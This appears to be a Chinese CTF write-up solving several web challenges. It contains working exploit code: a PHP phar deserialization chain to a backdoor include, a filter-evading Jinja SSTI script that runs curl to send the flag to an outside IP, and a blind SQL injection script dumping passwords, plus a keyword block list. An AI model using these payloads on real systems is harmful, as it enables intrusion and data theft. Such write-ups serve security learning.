目录
Ez to getflag
Harddisk
绝对防御
Newser
Ez to getflag
进来有两个功能,一个查看,一个上传
图片查看功能可以任意文件读
upload.php
<?phperror_reporting(0);session_start();require_once('class.php');$upload = new Upload();$upload->uploadfile();
?>
file.php
<?phperror_reporting(0);session_start();require_once('class.php');$filename = $_GET['f'];$show = new Show($filename);$show->show();
?>
class.php
<?phpclass Upload {public $f;public $fname;public $fsize;function __construct(){$this->f = $_FILES;}function savefile() { $fname = md5($this->f["file"]["name"]).".png";if(file_exists('./upload/'.$fname)) {@unlink('./upload/'.$fname);}move_uploaded_file($this->f["file"]["tmp_name"],"upload/" . $fname);echo "upload success! :D";}function __toString(){$cont = $this->fname;$size = $this->fsize;echo $cont->$size;return 'this_is_upload';}function uploadfile() {if($this->file_check()) {$this->savefile();}}function file_check() {$allowed_types = array("png");$temp = explode(".",$this->f["file"]["name"]);$extension = end($temp);if(empty($extension)) {echo "what are you uploaded? :0";return false;}else{if(in_array($extension,$allowed_types)) {$filter = '/<\?php|php|exec|passthru|popen|proc_open|shell_exec|system|phpinfo|assert|chroot|getcwd|scandir|delete|rmdir|rename|chgrp|chmod|chown|copy|mkdir|file|file_get_contents|fputs|fwrite|dir/i';$f = file_get_contents($this->f["file"]["tmp_name"]);if(preg_match_all($filter,$f)){echo 'what are you doing!! :C';return false;}return true;}else {echo 'png onlyyy! XP';return false;}}}}class Show{public $source;public function __construct($fname){$this->source = $fname;}public function show(){if(preg_match('/http|https|file:|php:|gopher|dict|\.\./i',$this->source)) {die('illegal fname :P');} else {echo file_get_contents($this->source);$src = "data:jpg;base64,".base64_encode(file_get_contents($this->source));echo "<img src={$src} />";}}function __get($name){$this->ok($name);}
public function__call($name, $arguments){if(end($arguments)=='phpinfo'){phpinfo();}else{$this->backdoor(end($arguments));}return $name;}public function backdoor($door){include($door);echo "hacked!!";}public function __wakeup(){if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {die("illegal fname XD");}}}class Test{public $str;
public function__construct(){$this->str="It's works";}public function __destruct(){echo $this->str;}}
?>
Show类文件操作可以触发phar反序列化
瞪眼看链子
Test.__destruct -> Upload.__toString -> Show.__get -> Show.__call -> Show.backdoor()
exp:
<?php
class Upload {public $f;public $fname;public $fsize;
}
class Show{public $source;
}
class Test{public $str;
}$t = new Test();
$t->str = new Upload();
$t->str->fname = new Show('suibian');
$t->str->fsize = '/flag';$phar = new Phar('poc.phar');
$phar->stopBuffering();
$phar->setStub('GIF89a' . '<?php __HALT_COMPILER();?>');
$phar->addFromString('test.txt', 'test');
$phar->setMetadata($t);
$phar->stopBuffering();
?>
使用gzip压缩来绕过对文件内容的检测
import gzipwith open('poc.phar', 'rb') as file:f = file.read()newf = gzip.compress(f) #对Phar文件进行gzip压缩
with open('poc.png', 'wb') as file:#更改文件后缀file.write(newf)
上传恶意phar文件
<?php echo md5("poc.png"); //23f1a0f70f076b42b5b49f24ee28f696 ?>
读文件触发phar反序列化
/file.php?f=phar://upload/23f1a0f70f076b42b5b49f24ee28f696.png&_=1713073174353
Harddisk
🤔真准
想是SSTI
fuzz出过滤:
}}, {{, ], [, ], , , +, _, ., x, g, request, print, args, values, input, globals, getitem, class, mro, base, session, add, chr, ord, redirect, url_for, popen, os, read, flag, config, builtins, get_flashed_messages, get, subclasses, form, cookies, headers
过滤{{}},我们可以用 {%print(......)%}
或 {% if ... %}1{% endif %}
的形式来代替
过滤print 关键字,则只能用 {% if ... %}success{% endif %}
的形式来bypass。因为无回显,所以要外带数据
过滤了 ]
、_
、request
这类常用的字符和关键字,可以用 attr() 配合 unicode 编码绕过
遍历找到popen位置是132
import requestsheaders = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36'
}
cl = '\\u005f\\u005f\\u0063\\u006c\\u0061\\u0073\\u0073\\u005f\\u005f' # __class__
ba = '\\u005f\\u005f\\u0062\\u0061\\u0073\\u0065\\u0073\\u005f\\u005f' # __bases__
gi = '\\u005f\\u005f\\u0067\\u0065\\u0074\\u0069\\u0074\\u0065\\u006d\\u005f\\u005f' # __getitem__
su = '\\u005f\\u005f\\u0073\\u0075\\u0062\\u0063\\u006c\\u0061\\u0073\\u0073\\u0065\\u0073\\u005f\\u005f' # __subclasses__
ii = '\\u005f\\u005f\\u0069\\u006e\\u0069\\u0074\\u005f\\u005f' # __init__
go = '\\u005f\\u005f\\u0067\\u006c\\u006f\\u0062\\u0061\\u006c\\u0073\\u005f\\u005f' # __golobals__
po = '\\u0070\\u006f\\u0070\\u0065\\u006e' # __popen__for i in range(500):url = "http://e06dc629-8d8a-4165-9e03-7a4b5d4982a4.node5.buuoj.cn:81/"payload = {"nickname": '{%if(""|' +f'attr("{cl}")' +f'|attr("{ba}")' +f'|attr("{gi}")(0)' +f'|attr("{su}")()' +f'|attr("{gi}")(' +str(i) +f')|attr("{ii}")' +f'|attr("{go}")' +f'|attr("{gi}")' +f'("{po}"))' +'%}success' +'{%endif%}'}res = requests.post(url=url, headers=headers, data=payload)if 'success' in res.text:print(i)
数据外带
import requestsheaders = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36'
}
cl = '\\u005f\\u005f\\u0063\\u006c\\u0061\\u0073\\u0073\\u005f\\u005f' # __class__
ba = '\\u005f\\u005f\\u0062\\u0061\\u0073\\u0065\\u0073\\u005f\\u005f' # __bases__
gi = '\\u005f\\u005f\\u0067\\u0065\\u0074\\u0069\\u0074\\u0065\\u006d\\u005f\\u005f' # __getitem__
su = '\\u005f\\u005f\\u0073\\u0075\\u0062\\u0063\\u006c\\u0061\\u0073\\u0073\\u0065\\u0073\\u005f\\u005f' # __subclasses__
ii = '\\u005f\\u005f\\u0069\\u006e\\u0069\\u0074\\u005f\\u005f' # __init__
go = '\\u005f\\u005f\\u0067\\u006c\\u006f\\u0062\\u0061\\u006c\\u0073\\u005f\\u005f' # __golobals__
po = '\\u0070\\u006f\\u0070\\u0065\\u006e' # __popen__
cmd = '\\u0063\\u0075\\u0072\\u006c\\u0020\\u0031\\u0032\\u0034\\u002e\\u0032\\u0032\\u0032\\u002e\\u0031\\u0033\\u0036\\u002e\\u0033\\u0033\\u003a\\u0031\\u0033\\u0033\\u0037\\u003f\\u0066\\u006c\\u0061\\u0067\\u003d\\u0060\\u0063\\u0061\\u0074\\u0020\\u002f\\u0066\\u0031\\u0061\\u0067\\u0067\\u0067\\u0067\\u0068\\u0065\\u0072\\u0065\\u0060'
# curl 124.222.136.33:1337?flag=`cat /f1agggghere`
i = 132
url = "http://e06dc629-8d8a-4165-9e03-7a4b5d4982a4.node5.buuoj.cn:81/"
payload = {"nickname": '{%if(""|' +f'attr("{cl}")' +f'|attr("{ba}")' +f'|attr("{gi}")(0)' +f'|attr("{su}")()' +f'|attr("{gi}")(' +str(i) +f')|attr("{ii}")' +f'|attr("{go}")' +f'|attr("{gi}")' +f'("{po}"))' +f'("{cmd}")' +'%}success' +'{%endif%}'
}res = requests.post(url=url, headers=headers, data=payload)
监听,拿到flag(补全{}即可)
绝对防御
vocal进来吓呆了,纯静态啊
在js处做文章了只能
JSFinder是一款用作快速在网站的js文件中提取URL,子域名的工具。
https://github.com/Threezh1/JSFinder
访问/SUPPERAPI.php
前端过滤不用管,禁用js即可
测出布尔盲注
import requestsurl = "http://947e0e56-2959-4cde-9cd7-e6f58efbee74.node5.buuoj.cn:81/SUPPERAPI.php?id="
flag = ''
for i in range(1, 200):print("------------------" + str(i) + "------------------")low = 32high = 128mid = (low + high) // 2while low < high:# ctf# paylaod="2 and ascii(substr((select database()),{},1))>{}".format(i,mid)# user# paylaod = "2 and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))>{}".format(i, mid)# id,username,password,ip,time,USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS,id,username,password# paylaod = "2 and ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='users'),{},1))>{}".format(i, mid)# admin123!,DASCTF{1436c038-a5ac-42a6-bb8b-e34a4769b7fe}paylaod = "2 and ascii(substr((select group_concat(password) from users),{},1))>{}".format(i, mid)r = requests.get(url + paylaod)# print(str(low) + ':' + str(mid) + ':' + str(high))if "flag" in r.text:# print(r.text)low = mid + 1else:high = midmid = (low + high) // 2if mid == 32 or mid == 127:breakflag += chr(mid)print(flag)
Newser
哎PHP😔
DASCTF2022.07赋能赛Web赛后WP - 枫のBlog